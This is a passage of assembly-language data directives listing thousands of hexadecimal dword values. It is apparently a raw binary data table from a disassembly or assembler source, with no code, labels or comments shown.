		dd 9727A801h, 79FC3E42h, 7472FAB8h, 5C4500A2h, 8B966BA5h
		dd 7E174411h, 410A4EEBh, 0ED18BF74h, 0FC1D41h, 4834208Fh
		dd 0A63C45C1h, 4E740400h, 78D22A60h, 3F8D001Ch,	0FC029F76h
		dd 0D03B99CCh, 0D63C1C98h, 9091A500h, 0B8C838h,	0EEAFD118h
		dd 37DD5545h, 19FAE300h, 0AB599776h, 745C0031h,	0FE3B5B3Dh
		dd 0F5001214h, 29D6D0C3h, 0FC5AFD43h, 33DC0123h, 16850149h
		dd 0B65E0B9h, 2899D13Fh, 0AF00843Bh, 970F6645h,	0C009A9h
		dd 16E8DABEh, 0B86DDB36h, 780494B8h, 0FB104AB6h, 8E88B702h
		dd 0ED716E40h, 54748400h, 2917ABCAh, 3444002Dh,	0B5640D11h
		dd 0A1A0C249h, 0A20022CFh, 7D04ADF9h, 3658C98h,	0AC6EBA1Bh
		dd 3F824205h, 0A96894E0h, 3619B300h, 8394928h, 0E5410B09h
		dd 98AFB938h, 904E8967h, 0E107692Fh, 0AE90D054h, 80FA6625h
		dd 0F5D772ECh, 0E0556038h, 32E11ED2h, 0F2423B00h, 8E9266CAh
		dd 83C024B6h, 7880938h,	0D7C23880h, 0D100E720h,	0D3A65ADh
		dd 0F3437Fh, 0A7BFAB01h, 0A999C84Dh, 2E20B03h, 1FC5359Bh
		dd 0C7BA2529h, 0C026C257h, 681929FAh, 0F0B4AC00h, 0D27FF2AAh
		dd 0D58C1215h, 0DE8004BEh, 1A07432Eh, 0A92BF8F9h, 4645002Fh
		dd 0CE6EFA12h, 847C410Bh, 3192FC01h, 0A33EE298h, 0EC3020h
		dd 4BF006E5h, 2AFCD708h, 32DFEB00h, 0B6248D4Eh,	0C2D601BAh
		dd 11EDC434h, 7E6AE44Dh, 0CAA0F801h, 0BF56B8BCh, 0D176F880h
		dd 0AA63CFD5h, 0D0BA8701h, 32C20E73h, 2760FED4h, 54000194h
		dd 73DD923h, 4F3CA700h,	93E18084h, 6746074Ch, 302D658Dh
		dd 3BE2EF68h, 9D874003h, 0B0DA2AE6h, 3C7F830Ah,	7E3F7D5Ah
		dd 0BB4400F7h, 7891F7AEh, 0FC0423C2h, 19218213h, 0E02A8FCh
		dd 628F9B40h, 3C00A85Ah, 21AE435Fh, 5E81207Ch, 1B2C0F9h
		dd 0EA017457h, 0CC4A778Bh, 402215A5h, 6A0B1303h, 0E8A8E1FDh
		dd 0F809F059h, 407BE060h, 4B566BDCh, 5C189025h,	407E4612h
		dd 0DD1AA904h, 0CF0D87Ah, 6F820050h, 887CC2E3h,	0C4F63112h
		dd 0F349449h, 601369D4h, 141CFA21h, 0D85C0A60h,	2CB02FBAh
		dd 7673048Dh, 3E4CC084h, 40985ED4h, 819AF539h, 2FDB4180h
		dd 63C11E75h, 0F9CAA0C7h, 2D0B00CBh, 1DEEFBEh, 7600B1ACh
		dd 582E75AFh, 7D8551h, 18B245DFh, 86506428h, 0E173B07h
		dd 0D4803914h, 5BE321h,	0D3C9A83Fh, 0CCD03368h,	45EA5D0Fh
		dd 0D6412029h, 23061D4h, 2E699136h, 0B21072E8h,	0E92000E6h
		dd 0D88F456Fh, 602DEC22h, 0D11C422Ch, 3943D600h, 84282C4Ah
		dd 7A7A5897h, 34EB0011h, 443275F3h, 0B800B907h,	0BE013CAFh
		dd 9577304h, 31B077C4h,	5605B458h, 9B664320h, 0E00EC00Fh
		dd 2CD79489h, 787C0023h, 0EEF5ECD0h, 360086A7h,	7F0E9387h
		dd 9504E45h, 581DD3B3h,	0BDBBAE80h, 560E7403h, 40724ADCh
		dd 5B92357h, 77341CE2h,	84B6C049h, 0CF01BCD2h, 5A141F00h
		dd 851BA361h, 93D80087h, 89907328h, 0AE0EA912h,	4008F8A7h
		dd 0BBC5EC62h, 6DE901D7h, 891F049Bh, 6EF03AA4h,	25861317h
		dd 9A9CF08Dh, 132FF40Fh, 0C0302EFEh, 0D7D3B0DDh, 0F055003Ah
		dd 906D1DB4h, 0B5279C94h, 0DE5C20EBh, 40A9D958h, 670048BDh
		dd 75719E87h, 905F74EFh, 4894758Ch, 85A07CCFh, 0BF0218F5h
		dd 2CD9D775h, 65C0688Dh, 0A507009Dh, 21A43793h,	27B1C77h
		dd 4492E12Ch, 0A700D024h, 6ABD3F60h, 0C1CF16BCh, 7780B7Ch
		dd 99D66E82h, 0D58398C0h, 549EC000h, 0C6E28E59h, 0F4310E62h
		dd 52E7A32Dh, 823295AAh, 6040C8ACh, 0DF3A405Ch,	93BA8076h
		dd 6EC43CF4h, 319F0009h, 0C6D7F2Eh, 0B61E33D0h,	7EC1EF55h
		dd 74C01E94h, 42FCDCh, 0D845E15Ah, 85EB9E19h, 403D4F0Bh
		dd 0C07F8FF7h, 881FE96Dh, 0D540093h, 6769A88Ch,	77259AA6h
		dd 0BF7CC005h, 0BD3E0044h, 15D932B2h, 0FF4898EBh, 10CF078Ch
		dd 0F9901F06h, 0B8C3C65h, 0AF2342DCh, 8599C048h, 0D1CD9C00h
		dd 5753305Ah, 71DA1EBAh, 10F5C035h, 3293FD14h, 5024F62Eh
		dd 13BB809h, 2B21F08Ch
		dd 22E4002Fh, 0BCFD4495h, 201C58h, 8B4B91D5h, 733B4210h
		dd 0BB1B1ED7h, 4093B1h,	0F56F8F40h, 0FE1763AFh,	8007E6A4h
		dd 0CDE00ED4h, 3E752192h, 29BE1EBDh, 36725289h,	1AFC7800h
		dd 0E7003AD8h, 0E9633398h, 0B21270h, 7A347FF7h,	1D8A2A01h
		dd 17C4DC07h, 60EE5438h, 12C9B353h, 51BD0632h, 0A0FDED89h
		dd 0B63FE807h, 1EE0B811h, 90267Ah, 0AB04C0F1h, 4C69C9F7h
		dd 3D304400h, 97360E70h, 0AF7D077Bh, 90DF5BFAh,	94A96692h
		dd 0CD485400h, 1D935DC4h, 27FB0787h, 70E1C246h,	7BC3E414h
		dd 818F213Ch, 0DF760322h, 6FD519h, 1A899244h, 0A200AEB9h
		dd 454F98FBh, 9472E5DEh, 0E7A6C0h, 0A64A8C38h, 30003694h
		dd 0EED0FE86h, 9F3DF64h, 9135438Dh, 3C003789h, 0D3FF441h
		dd 0ED07A973h, 0D719808Bh, 4932ECD0h, 8DB6264Bh, 0AC36074Ch
		dd 66DD806Ah, 0F5E42F50h, 48A0F426h, 0D4BBBC01h, 0CC4055B2h
		dd 6038FAh, 70C51125h, 67906420h, 0F8F5A100h, 7C0562E7h
		dd 24F40E3Eh, 61009D89h, 0A35D5437h, 4A343Dh, 0AF5CE420h
		dd 818FF6h, 902BC25Bh, 5029B308h, 0DFCE1402h, 0E0AC89F1h
		dd 1946E158h, 600483BCh, 0E272DCCBh, 91117960h,	0ACA070h
		dd 0F2F02156h, 8481D97Eh, 7B84379h, 800FD98h, 0F726672Eh
		dd 0F8AC7BB6h, 0D90AEh,	6D4B4A7Ch, 942714B0h, 749EA400h
		dd 5E3062E5h, 4DF01B6h,	503CAC0Bh, 98002EE3h, 0D2AAEFB4h
		dd 4AB85Bh, 0FE361BD7h,	0D53EB53Ch, 0C1048200h,	58B77D4Ah
		dd 0D3BD2444h, 0F19B0156h, 0C4C23311h, 0EC073A9Eh, 6973EEA0h
		dd 1B6D8A0h, 393B024Dh,	0F04C0BF5h, 2C1BD440h, 374B2A16h
		dd 0E8D85440h, 0FB0F16h, 982849CDh, 19C8A9B5h, 1C6EED00h
		dd 64E63BFh, 0A0412E5Dh, 1EFF4040h, 0E909C802h,	13AEC26h
		dd 17F50CD4h, 93CF4207h, 60DB10E8h, 5FE81C00h, 2A4A2372h
		dd 0D7402CD4h, 92378770h, 0DBDD6002h, 8500F4F0h, 3E63004h
		dd 14AD860Dh, 0EF6BCB97h, 0B81B8207h, 81330468h, 0DC2F0F3Ch
		dd 0C825F909h, 3F5676h,	0C72450ADh, 0E800C6CDh,	5EDB723Bh
		dd 0D83A3Dh, 0F1D564DEh, 8E0C4DF7h, 49BE1B03h, 987C6EE2h
		dd 0AB9C16h, 959BF953h,	933A09EFh, 80B5452Dh, 7A2932F4h
		dd 0C2CE0019h, 0E5EF785Bh, 925F453Eh, 0BACC055h, 106EA2Ch
		dd 5EE65094h, 26C4E920h, 0EA13BFh, 9CCF3195h, 0A130D9E7h
		dd 9FC9C8FAh, 0B3F4014Dh, 0C3898C3h, 5401F073h,	51B2E903h
		dd 0C883D04Ah, 3BF0C4C0h, 0B18B977Dh, 5C005AF2h, 4EFC55FAh
		dd 6F11D060h, 0FB86DB76h, 3072D8F8h, 0DDC02F2Dh, 100D570h
		dd 0C6FBD0C8h, 0F892A29Ch, 0AAA400D9h, 0D52A8098h, 0F10BEFEEh
		dd 95A914h, 22B15174h, 1196605Fh, 4F62E62Bh, 0DC05FF28h
		dd 3003D0FCh, 13E4C293h, 38E0CC58h, 4C909526h, 0A405F3DEh
		dd 0FDFCA9C5h, 4DB5A090h, 8B8909D7h, 0D48411F5h, 0A78CC09Fh
		dd 0BB48E119h, 0DB090ED0h, 7BC5BC98h, 98E24A52h, 0C967F10Bh
		dd 19EBBE00h, 2C0578E7h, 31B4449Fh, 0F99F80AEh,	39265B02h
		dd 710B2CAFh, 6F7700A1h, 7F6E2F52h, 9D7E00C5h, 0C258F034h
		dd 0F2002860h, 0D023F37Fh, 1707EB88h, 410BABBCh, 243BFBE0h
		dd 0B713C891h, 5B5E5017h, 8714D30Fh, 0A413F465h, 82D68066h
		dd 601F0001h, 0DC7550A0h, 5E04323Eh, 7F80FA7Ah,	47C824C0h
		dd 2A56007Bh, 0C28C5569h, 7C00A801h, 0B315E881h, 1CA50E4Bh
		dd 40B62B79h, 90CA24E2h, 6900C3C7h, 0DE82CEE3h,	0E711EDh
		dd 28C50B70h, 8C324224h, 0B01D2Fh, 0EC946538h, 3EF20127h
		dd 81B9F1FEh, 455AE813h, 5B383Eh, 9754C5DFh, 0F111D2h
		dd 0D8AF42D4h, 0D5B6DA7Dh, 69C958h, 0B4BC5EF7h,	325FCC0h
		dd 9252FB58h, 0ED98349Bh, 92B01DF1h, 7B1681FAh,	500DEA6h
		dd 0FEB40476h, 4F221F7Ah, 4097DDE2h, 4A850144h,	0B300A41Fh
		dd 1DB9FEA8h, 125E218Eh, 0EC7502Dh, 86A09CE7h, 0A28D6FB8h
		dd 62328A00h, 0CB642957h, 0AF74031Ch, 0DA83C106h, 0A03397F8h
		dd 58AAA603h, 0CA6F4595h, 80FC54EDh, 0A92940DEh, 7B0059BCh
		dd 8179D807h, 75E0FC67h, 9310014h, 0AB10CE21h, 0FF0F1C65h
		dd 409C8B7Ch, 3FAE172h,	92BF0058h, 0E5823CEBh, 8F01F5A7h
		dd 6A9C5A39h, 0F2F86F40h, 982FB829h, 1DD303FDh,	3608F7E0h
		dd 0EE7053D8h, 66831A00h, 6E93FB15h, 444F02A2h,	0F29E13DDh
		dd 490CDC80h, 58C09D0Fh, 5EC7536Fh, 1D90F3h, 0AB7A5238h
		dd 44B715B0h, 1D3A9514h, 7E930080h, 22E54E17h, 5FF8015Dh
		dd 53CFA0F0h, 4914F483h, 0AF0097ECh, 71E02E77h,	79863A4h
		dd 0BBAC17F6h, 303A5095h, 5C010FFFh, 7F299D74h,	7683DBA1h
		dd 0EA69C4B7h, 4BBC6390h, 0F79E8000h, 0A1E65AB2h, 16F90195h
		dd 3F8A72FCh, 48A6E83Ch, 871EDB00h, 6C969718h, 0FC150311h
		dd 4A771490h, 0BC1948h,	0E99354FDh, 270729h, 1722F261h
		dd 0C49020B3h, 8B6BFE1Fh, 0F45619C0h, 0E08A7Ch,	953E7FCFh
		dd 0E4C1CBD4h, 75880A00h, 6C1EA3C9h, 20F7DAFh, 0D2981B2Ah
		dd 70687CE3h, 0E200B1C2h, 883A4DDCh, 27E2B05h, 3B5B85D6h
		dd 0E05015D2h, 23C8B5Ch, 0DA7C9D65h, 8052007Eh,	8904B6Dh
		dd 0C6A0A800h, 368316B4h, 2B5B0956h, 6CA034D0h,	0E6858B12h
		dd 0EF2E2A70h, 810BDC3Fh, 0C7748095h, 0C10279Ch, 0B58A37D4h
		dd 98077A68h, 0A13B6502h, 3F854DF0h, 488C9AC3h,	7AD82Bh
		dd 0DEECB711h, 0C877B6FFh, 89138F01h, 0C28AA974h, 1AE27430h
		dd 0F03A15D0h, 1D972C80h, 0CB71B8B6h, 0C1ED280Eh, 843020A3h
		dd 3EEB472h, 0DA3EBA01h, 27B8427Ah, 62733A04h, 8A7E6700h
		dd 0CF63BE2h, 0E0A80412h, 0EF9DCC2Ah, 372D7407h, 0C0C40A92h
		dd 56FA56h, 0C8731DACh,	50A475CBh, 5D9ADF17h, 0F480411Eh
		dd 3F125FF3h, 9403E88h,	0B50CC04Eh, 7A00EDD6h, 1BCCB76Eh
		dd 298A71h, 0C77163Eh, 6C57CEDBh, 92765804h, 2B80C2D8h
		dd 9A9C22h, 0B9BF0350h,	5B5D793Fh, 454BE805h, 9480FE15h
		dd 14D1EB55h, 0A0A11444h, 2268D200h, 0BFE90EE4h, 2DDAD405h
		dd 0F80BAC99h, 36F42011h, 34AE88h, 86CCA664h, 80BE6A6Bh
		dd 2CB8900h, 0FF758F1Dh, 0DC702ECEh, 139500BEh,	0B1768229h
		dd 2D36D1C1h, 0C6FD057Eh, 0E9F8003Eh, 8E964132h, 9F689Ah
		dd 3AEE3060h, 288E9F70h, 0F8727460h, 110017BBh,	333591A7h
		dd 61DDE390h, 93CDD1BDh, 0C0FC6049h, 9D0C8A03h,	0E55C7A3Dh
		dd 223C98C0h, 0DAF00FB8h, 36A1EA47h, 2058206Fh,	0AA006808h
		dd 999D4FD3h, 3CECC7D9h, 0AE802ABDh, 8F7662F5h,	0A500AC41h
		dd 522132FEh, 78FF7CC7h, 781A4818h, 0D6C56300h,	0C2A70FF5h
		dd 0CFB6600h, 7B20D7C3h, 85A43C97h, 0DE7F8F09h,	0C07AB8A4h
		dd 7036C550h, 0EDEF0D07h, 0EA606EACh, 0D0F16Ah,	91B7F8F5h
		dd 55CF37F2h, 9A988218h, 60819h, 4E54A967h, 81A419D7h
		dd 0FF0E3600h, 0E9928510h, 39DEA2Ch, 47DE355Eh,	0B1D1E10Bh
		dd 60B87151h, 1B07F604h, 2D23CEEBh, 27FE050h, 1CA77BEDh
		dd 29AE227h, 0BC2FEBAEh, 0D47E6862h, 6E8F918h, 9E05303Eh
		dd 72C44588h, 8EE8A000h, 6594AE68h, 0A2A700A1h,	8A956737h
		dd 0F200F357h, 78B99D02h, 0B93B414h, 5AC7798Bh,	3D572F80h
		dd 9004EF17h, 0CBD7306Bh, 0B4F46CC4h, 1D4700F9h, 4DED7C5Ah
		dd 4B018A08h, 9B71F1EBh, 23A0687h, 95C5B11Ch, 5CF78600h
		dd 3F500BFh, 0D2B90FF8h, 0D02368Dh, 5A493594h, 8CCEE2E1h
		dd 3FC9B870h, 0FA008F44h
		dd 5F88C96h, 310147E1h,	1F599395h, 83CABB4h, 83208900h
		dd 0CEA7E1A4h, 318BDC07h, 6430A066h, 0B45EA5h, 0E302FFCDh
		dd 1DFE8296h, 0B1001FF2h, 19290149h, 7A606A1h, 4B1B88E6h
		dd 0C3602F30h, 16FEC803h, 11AF1300h, 0F79433DDh, 140AC028h
		dd 0FDEF6302h, 0F0006170h, 93274ED0h, 0C0A1B5h,	0E0819DB0h
		dd 3446D531h, 184B572Eh, 98297500h, 0E60814F9h,	0EA360F97h
		dd 84A08120h, 0F49FCA33h, 302F2D2Dh, 0FCFBF88h,	0FFE4A766h
		dd 4A202280h, 82027DA5h, 3A5B315Eh, 0ABC0DD51h,	30EF3C2Ah
		dd 797D2237h, 3F69AC00h, 0C59ECC01h, 4BAE6F9h, 6DB91A67h
		dd 150ED8Fh, 0D704A709h, 606F1364h, 2988E568h, 7D0704B0h
		dd 16E3F2B9h, 171C4360h, 8CEA00A6h, 0DEC0D21Fh,	0B0005231h
		dd 2F014D3Ah, 261AF669h, 80FC43BAh, 0EFE832A5h,	0A9396610h
		dd 21180C9h, 109ECC8h, 0F467012Dh, 8C3FC65Eh, 540020D7h
		dd 1EC78D02h, 569A36BEh, 39B01998h, 79C5DC6Bh, 0D5C18401h
		dd 3080450Ch, 88C63460h, 0C802B32Eh, 0AE99080Fh, 8430DB66h
		dd 0A09859C6h, 0EE5868CCh, 369613B0h, 635E8E0h,	0FCC4F95Bh
		dd 0EC02519Ch, 80EB671h, 0E0F0A8h, 652B01ADh, 0F464AC51h
		dd 60AE29CBh, 37DDF40h,	0D58548A5h, 7900D14Fh, 7B869A37h
		dd 7E1CB516h, 0E8727228h, 0A4C2D13h, 0D706C00Bh, 637231EBh
		dd 3B9E5C00h, 3DB9CEA5h, 65A216D7h, 298CE5Fh, 3CD91CF9h
		dd 45A498A0h, 0FAE4B26Fh, 60D2E8EFh, 779FF917h,	2E002815h
		dd 0F24994D3h, 60807D18h, 1CE2124h, 0AE006219h,	0CC527456h
		dd 5070A538h, 3CB1E4AAh, 0C05A22F8h, 0FA2A83F8h, 0DD0725h
		dd 0D321758Ch, 90A1D828h, 9A2E859Fh, 5805C77h, 0FBF5D8CEh
		dd 0C064FA65h, 0B37BE429h, 0DC1EBEC3h, 0A47E5E6Ch, 3AE12487h
		dd 322006ECh, 0B2250EDFh, 0F3239355h, 98617C8Eh, 3F9F4490h
		dd 819C0A3Eh, 0C37D0788h, 2396D1B2h, 18B0C8A9h,	218958BEh
		dd 0B464E3h, 93CABCA4h,	0C34726FCh, 151CE200h, 0D455EA32h
		dd 8A9400B4h, 68A9CF77h, 1413A469h, 44901F18h, 30D941EAh
		dd 0C6105B5Ch, 0E00120DFh, 539D040Dh, 0FC7026AFh, 0C5500045h
		dd 158C957Eh, 4F0325DBh, 706BF7F3h, 49B8E2BDh, 207F7878h
		dd 0B51E5A24h, 3AF6AD00h, 6AB78BCAh, 91A50A66h,	83A09883h
		dd 2ECF6FF0h, 98A08FB2h, 1BBFF963h, 0D040814Fh,	8F62A0F3h
		dd 7EE51D22h, 9C0E4F3Eh, 348D0520h, 0BD2EC9BEh,	7700289Ah
		dd 2B1C838Ch, 131FE8Ah,	0E1FDEAE5h, 0C80BAB6Bh,	0F90B3502h
		dd 80E4AD0Ch, 5FBD45FCh, 6791036Dh, 0A9A20F0h, 0B068C928h
		dd 93000475h, 0C1ADA1E5h, 21EFDCh, 13C942Ch, 814239A4h
		dd 0B3E09F00h, 3EBB6884h, 4858CEA7h, 971336h, 3CED588Ch
		dd 0EE0140DAh, 77FA6955h, 0ABF0563Dh, 5B763BD6h, 0BA38F7CCh
		dd 0C0531D7Dh, 2BAFC073h, 0CA7E273Fh, 99001E74h, 7302C61h
		dd 3B4E5E89h, 0D105A62Fh, 0C1EFA1B2h, 6C47F324h, 3B3D79D4h
		dd 0A47D0737h, 2AF7ADBh, 0C2AAC295h, 8024C05Ch,	0A25C3D47h
		dd 7DEE3180h, 0D5EB549Eh, 2CD4B3Ah, 40B81885h, 0A834C11Bh
		dd 5D7330h, 0ADECE6B3h,	0CB4F72Ch, 1C2180EDh, 8E9566A1h
		dd 0FCB10017h, 0CFF22C05h, 0B54EED5Eh, 0EC92C0C0h, 0F61B0127h
		dd 0D5FCC885h, 4002BA8h, 15BC884Dh, 9CF265h, 0C0E3AD94h
		dd 0A683377Eh, 0A1D15000h, 40F0B185h, 969F136Fh, 7C250409h
		dd 8C58806Bh, 30BFD70Ch, 2A5770h, 599D099Eh, 0B7B9EA0Ah
		dd 0E3374C02h, 4030E611h, 0E1663Ch, 17F49851h, 923EC00Bh
		dd 0F774DE09h, 36F82073h, 0B0F9D4CEh, 958224C2h, 0F6C1630h
		dd 0BC255220h, 67A3042Dh, 0AE4B0D1h, 3A90D801h,	7D03DE34h
		dd 7A4862h, 4ACEAFBFh, 0FC738599h, 3C2E5C03h, 8A403BEBh
		dd 3C38F88Dh, 0ED8098C3h, 4ED73719h, 3609083Ah,	229C25C2h
		dd 7E4F92A8h, 5F321DD8h, 0A9EF408Eh, 0FCC29133h, 4294FA00h
		dd 6FCC12F1h, 1D05007Bh, 4AE77A58h, 54145F9Dh, 1688219Ah
		dd 5E02BC3Dh, 822B2F31h, 600953D5h, 134AA784h, 2CA819Bh
		dd 80F93928h, 5E3A6860h, 737583Eh, 0A9549208h, 0AB89CB31h
		dd 26E10070h, 8034DCD1h, 53971CEBh, 0BB0AF622h,	0A84EEC9Ah
		dd 1566DC01h, 0D836CC0Eh, 2E08C201h, 34D34CC8h,	96163B08h
		dd 0BC203E06h, 1FCE868h, 0D5C0877Ah, 34744D01h,	848520h
		dd 7BEE932h, 513735B7h,	528BEE13h, 69AA50A1h, 0DCA358C0h
		dd 89D545F3h, 0CDB9F838h, 0F6599E0Ah, 0DC82BC5Ch, 0C024EB06h
		dd 9A70E87Ch, 35120354h, 0FE40D721h, 0F8A5C9F0h, 0B671FC60h
		dd 0C0A8EAADh, 1A32C041h, 775AD5FDh, 0A6A1ECC0h, 0B7C100BBh
		dd 0A99B3413h, 0CB600DD0h, 629F2331h, 55F30BBBh, 40127B9Ah
		dd 0E31D8003h, 5CA33CB8h, 0AD112400h, 9656913Eh, 1FAB1F97h
		dd 49EBD8EFh, 1D00FD0Dh, 0F41AB87Dh, 3AE29B84h,	0AC022556h
		dd 38C2B9A3h, 0F87EA8E0h, 39990C05h, 8C6222BEh,	0E9C01A18h
		dd 0F8305F9Ch, 4DE615Eh, 18265DE9h, 3515B580h, 1200D429h
		dd 0C13F4B7h, 0C36AAA9Dh, 0B00D7E88h, 8708195h,	24C72FAh
		dd 2CD3F91Ah, 4178C0E4h, 0DF782E5Bh, 1A275044h,	78908249h
		dd 6F245B79h, 2C3CFC1Bh, 5A5C8897h, 195400A8h, 1D6F163Ch
		dd 1F24B9FAh, 0AE38643Dh, 5C181243h, 987F0611h,	387007C8h
		dd 90D00FE2h, 0CCBAC9ECh, 75163A0Fh, 7E15829Fh,	0EC94A868h
		dd 0E06AC20h, 35D670D7h, 9C260B48h, 34195EBCh, 96C77D4h
		dd 5614034Ah, 56E8002Ah, 62F565ABh, 75013490h, 503FF2CAh
		dd 0BC40AD32h, 23394A4h, 0A6B7128h, 0A4AE4AE5h,	68210181h
		dd 4232307Ah, 0B2CDA513h, 22555C09h, 25CF47D8h,	0E430C47Bh
		dd 7203F1A0h, 3D64F2EEh, 0B345F88Dh, 4C789806h,	2200700Dh
		dd 6FD875E4h, 3CE4F559h, 42FD0707h, 29B4FE19h, 8F76EC1h
		dd 3C1D16D8h, 0F6007A21h, 70332C28h, 5B4AF2FFh,	0D639DCBCh
		dd 0C517D500h, 0BF9D2595h, 59A60E7h, 0F8F9BB0Bh, 3F1C708Bh
		dd 78803DE6h, 560DF49Fh, 99F696BDh, 2D1CF21Ch, 0CB7CE9C1h
		dd 0BC41D745h, 6FBCC2h,	0ACF85534h, 80977805h, 6CB81DCCh
		dd 0AC609545h, 93017DC4h, 0B3C7AEB0h, 3608096h,	70D4E775h
		dd 0A6CF015Fh, 2CD72D39h, 5C30606Eh, 48873C27h,	0F407E57Ch
		dd 0D48800DFh, 1E93E94Fh, 4D12D1F2h, 98B8AC2Ch,	0CD7DDD00h
		dd 0BE722930h, 4F95350Fh, 0A5082FB2h, 0F801521Ch, 6832AE16h
		dd 0FBAF040h, 0A23800DAh, 0A9B03DF5h, 1900A5FFh, 0D65F2D8Ah
		dd 52B48h, 67BF13E4h, 0D4D54232h, 0EC4C8C05h, 58D29DF8h
		dd 75A20CC2h, 0F502509Ah, 0FB3B724Ah, 1FDB6041h, 2E47FCB2h
		dd 60917Eh, 0CC05CB76h,	0F62EF390h, 0BE0F5CA9h,	0A1538F54h
		dd 0C316A639h, 5FCC426Bh, 294055FEh, 6100F3C7h,	0F2F0113Fh
		dd 0E0EC3859h, 189F168Bh, 50C800BBh, 0D2E67EC6h, 8DE900Bh
		dd 118303EFh, 0B4984A2Dh, 0EC023D58h, 0D4612445h, 0A4D84033h
		dd 0FB1F021Eh, 433273CBh, 0F809B86Eh, 0A16D966Eh, 77C9D08h
		dd 18B89A83h, 0A6808191h, 0A104309Eh, 511DD314h, 403000ABh
		dd 5EFBDACEh, 9289289Bh, 0D5380A7h, 0E1E0F8h, 0FB51933Ch
		dd 0DD1A599Ch, 0B28CBD04h, 0E1987Fh, 11B59840h,	0F846719Bh
		dd 81DC94C2h, 6A03FE36h, 50306297h, 280FD718h, 80D92CFFh
		dd 0A6762243h, 0D8F5558Ah, 172896F2h, 2359E47h,	0A90DFA3Ah
		dd 81411068h, 0C0200858h, 0A032C9C0h, 583C9A6Ch, 1E05C62h
		dd 6C7F2804h, 0D9512602h
		dd 0CE1BB96Eh, 0A66918C0h, 768C316Ch, 0BCB9D628h, 47012A7Dh
		dd 3EB78FC1h, 3439CBC9h, 8050D05Eh, 0A2017830h,	0E71A62CFh
		dd 0E432BCBDh, 0B33AFB00h, 789C1118h, 2A50C14Dh, 53589061h
		dd 0ECF62A08h, 0B41C44A0h, 4C3E496h, 2CF1508Bh,	6F1C8C2h
		dd 7648A069h, 188C638Dh, 50E5D404h, 2B1DA914h, 7E0A4896h
		dd 6E7856h, 1C9D51E9h, 5D2F16F5h, 274C2CBDh, 4422D63Ch
		dd 0CD5712D5h, 0BA1C4052h, 0F29FE015h, 4CB81100h, 1C2B76B1h
		dd 0B2D4FA1Dh, 9CC073Ch, 0D0908546h, 8C7B2228h,	223A700h
		dd 0CA12753Ch, 0ADD7014Dh, 40A210FEh, 8287C5Bh,	60D3FB9h
		dd 117DE3DBh, 31F1C000h, 171B0F56h, 29930187h, 0A1CEA46Ah
		dd 0BD885219h, 7878E4C1h, 0FED1A25Ch, 0AE998F50h, 216991E6h
		dd 5B2E8100h, 88518DE8h, 0E9490084h, 0C9FC5C20h, 0D13FD775h
		dd 76616F96h, 4E155800h, 0C285DF40h, 0D02DF551h, 0D980F45Eh
		dd 93C96622h, 2158009Ah, 7DB08EA1h, 0F4008F39h,	2F76D0CEh
		dd 0A370E3h, 6743F764h,	4D7A9E9Fh, 7B34C904h, 0E0E8BEE8h
		dd 8B5D28h, 332DD53Dh, 0E2C4CA89h, 0E02B6800h, 31CF01F8h
		dd 0DBC200D6h, 30FB85F5h, 7A00E507h, 0B5842D8Dh, 0EC88FEEh
		dd 9FC3FF29h, 963A73C2h, 0B800985Ch, 0F395B797h, 7E207D5h
		dd 84E5339Ah, 3001EA48h, 0EE795AC9h, 2583BF8h, 0A51E858Fh
		dd 0C85EAAB2h, 0F8DB4200h, 98E68ACCh, 0C6700097h, 0A42E10BEh
		dd 0CD00339Fh, 0EFD1F583h, 28F9C77Ch, 12E4C581h, 0F4AD7FE9h
		dd 0CF00DAC0h, 0CDF9848h, 0CAB6A1h, 7BE13509h, 0C3908AF2h
		dd 0BD50E000h, 11C1154Ch, 0A09E2781h, 10B50872h, 802ADB44h
		dd 33029C3Dh, 0F52B0837h, 876054F8h, 27453F28h,	29B30193h
		dd 8A8E60DFh, 0B2812A02h, 57315170h, 0D1616800h, 0FAA05C62h
		dd 24174072h, 90C07A47h, 1D3AE3E0h, 0C4585391h,	0D2E46D67h
		dd 0BCE64964h, 4C8124h,	29DB013Eh, 0FD8F92B3h, 0BA01BC0h
		dd 4D82C48Bh, 0F095C45Ah, 0AD69025Ah, 97F9AB3Eh, 0D6FE2C7Ah
		dd 82430B00h, 403D8332h, 73F0089h, 0B6665D88h, 0C8039F5Ch
		dd 529E050Fh, 1B3B0A2h,	2EC20F8Ah, 37E016ACh, 0EB98D455h
		dd 0FC63CE24h, 5C59A609h, 9CA127C4h, 607C572Eh,	0E2005D84h
		dd 0CCB35EB9h, 3B76EC04h, 0D70028B4h, 0D67AB864h, 560066E8h
		dd 0F59E735Dh, 103CD32h, 0B0E277EDh, 0C0BDC3DDh, 2200642Bh
		dd 4A5FB69Eh, 0B124E88h, 5ACD4351h, 5C4D8020h, 0E30FC746h
		dd 0A68878h, 8D0D2A91h,	0B04400DAh, 6D27823Dh, 0CF00FD23h
		dd 0C55FAD07h, 48EC47Eh, 2D719638h, 805EBA94h, 1D19CA83h
		dd 4060DAA5h, 81F645h, 369613Bh, 0B51C4613h, 70016327h
		dd 0BDA60070h, 564295CEh, 79FAF4AFh, 0F824Ch, 23346F1Eh
		dd 9144F36h, 0C08A7EA0h, 2A1C8C7Ch, 0B4882C0h, 37A187h
		dd 0E043A561h, 0CB2D4D73h, 5D2D6C90h, 3FD416E3h, 898E4BFDh
		dd 0D1C0BA1Ah, 96DED776h, 0C1DB5C00h, 0B0D574A0h, 0F9E804AAh
		dd 0C05ED45Bh, 7D2A0415h, 5870AC03h, 0C862E43Bh, 0B83599DAh
		dd 44420348h, 7CB1A909h, 8CD9C81Dh, 4FE62600h, 9D4D6DDEh
		dd 0B4DAB8E0h, 3ED3EF1Eh, 7038E067h, 7A970093h,	5D74B015h
		dd 5400502Dh, 0B8AB75DCh, 34BFFA6h, 6999989Eh, 83D5F97Dh
		dd 0CE00C704h, 63342F35h, 0EA54F8F0h, 0BC16B58Fh, 52E13002h
		dd 0C90674DBh, 80D88E04h, 6CE80C0Eh, 1B4045F3h,	26F63Fh
		dd 49EC2DEEh, 1C298F02h, 7DE1689Eh, 0B600F048h,	92DC22E0h
		dd 0FD05C3C7h, 80E62473h, 0BD830280h, 0A3670033h, 9E2FB45Dh
		dd 0A9000AF1h, 8BE897BEh, 1ED7B658h, 0DC507BECh, 817E05CAh
		dd 2438FC20h, 1027A4C0h, 0A0497F6Ch, 0DF27B4h, 0EDDE67C1h
		dd 4FA23AE9h, 75029200h, 0C8667A51h, 0D81051Dh,	0F8FC3FC1h
		dd 0FEEB3A30h, 0A5873B17h, 0A40838F1h, 9899089Dh, 0E9004568h
		dd 0FCCBEBDh, 0F69E0333h, 91F0112Dh, 18783BCFh,	5C18D22Eh
